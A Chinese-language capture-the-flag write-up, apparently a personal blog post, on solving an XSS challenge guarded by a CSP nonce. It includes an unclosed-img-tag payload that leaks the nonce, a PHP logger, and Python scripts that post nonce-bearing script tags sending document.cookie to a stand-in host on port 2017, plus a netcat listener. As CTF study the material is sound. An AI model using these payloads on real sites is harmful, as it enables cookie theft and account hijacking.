题目
wanna hack him?
管理员使用了看似完美的安全配置.. 但是…
http://211.159.146.223/
注:以下出现的yourhost.com均为你自己的域名或者ip。自行准备外网ip或vps
0x01 初见
打开后,会发现一个页面,根据经验。可以判断出来这是个xss题目。
preview可以检验你的payload。
点开后会发现有csp,指定lnonce。
之前本地测试时,以为nonce不变,获取到服务器端的nonce就可以用。
没想到服务器端的nonce是会变的。
然后分析题目,如何绕过nonce,发现基本不可能,无法构造语句来使用他那里的nonce。
所以只能想到,假设nonce有生效时长,那么可以获取到nonce后,在提交xss的带有获取到nonce的payload。从而实现xss、
0x02 获取nonce
可以通过不闭合标签,来拿到后面的信息。例如
<img src='http://yourhost.com/?key=
然后我是直接将nonce发送到自己预先在服务器中写好的PHP页面,由它保存为txt。
1 2 3 4 5 6 7 8
| <?php if($_GET&&$_GET['key']){ $myfile = fopen("ctf.txt", "a+") or die("Unable to open file!"); $txt = $_GET['key']."\r\n"; fwrite($myfile, $txt); fclose($myfile); } ?>
|
然后可以搭配脚本提交。也可以自己手动提交payload。
1 2 3 4 5 6 7 8 9 10
| import requests import time def sendNonce(): url='http://211.159.146.223/submit.php'; data={'content':"<img src='http://yourhost.com/?key=";} r=requests.post(url,data=data) print(r.text) while(1): time.sleep(5) sendNonce()
|
0x03 发送payload
脚本如下,发送payload。
逻辑为:拿到nonce->取出nonce->发送带有nonce的xsspayload。
while(true); do nc -lnvp 2017; done
然后手动监听2017端口,等待flag过来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import requests import time #将获取到的信息分割,取出nonce def getNonce(nonce): # nonce='<p>comment here</p><script nonce="9cfd6906dff65b782ae7e24b74ae3e5e">var test=' nonce=nonce.split('here</p><script nonce="')[1].split('">var te')[0] print('[+]'+nonce) return(nonce) # 访问vps端的ctf.txt。获取打到的一些nonce def receiveNonce(): url='http://yourhost.com/ctf.txt';; r=requests.get(url) nonceRawList=r.text.split('\r\n') return nonceRawList # 发送xsspayload def sendXSS(nonce): con="<script nonce='"+nonce+"'>location.href='http://yourhost.com:2017/?'+document.cookie;</script><!--";; print('[+]'+con) url='http://211.159.146.223/submit.php';; data={'content':con} requests.post(url,data=data) nonceRawList=receiveNonce() nonce=getNonce(nonceRawList[-2]) while(1): nonceRawList=receiveNonce() time.sleep(0.1) if(getNonce(nonceRawList[-2])!=nonce): nonce=getNonce(nonceRawList[-2]) print('[-] The nonceList is receive!') sendXSS(nonce) sendXSS(nonce) sendXSS(nonce) sendXSS(nonce) print('[-] SendXSS OK!')
|

0x04 期间遇到的一些小坑
这道题做了7个小时多吧。很烦。最初想到获取nonce很容易,然后在后期写脚本,与测试时。
一方面由于编程习惯不佳,还有就是心态不稳,造成很多困扰。
最后联系主办方后。获取到了一些服务端信息。
bot每次只审一定量的payload。payload过多,会被刷下去。
然后考虑改进代码。因为之前是一直全速拿nonce,全速发送。
改成了5秒拿一个nonce,然后检测到nonce刷新后,立即发送多个xsspayload。
好在最后获取到了flag。但是感觉还是不在自己的预期,因为每次跑脚本,只会返回一个flag。多个payload只生效一个。
最后,期待主办方大佬放一下源码。到时候一定要认认真真看看这个bot。
p.s.初写博客,欢迎大家指点。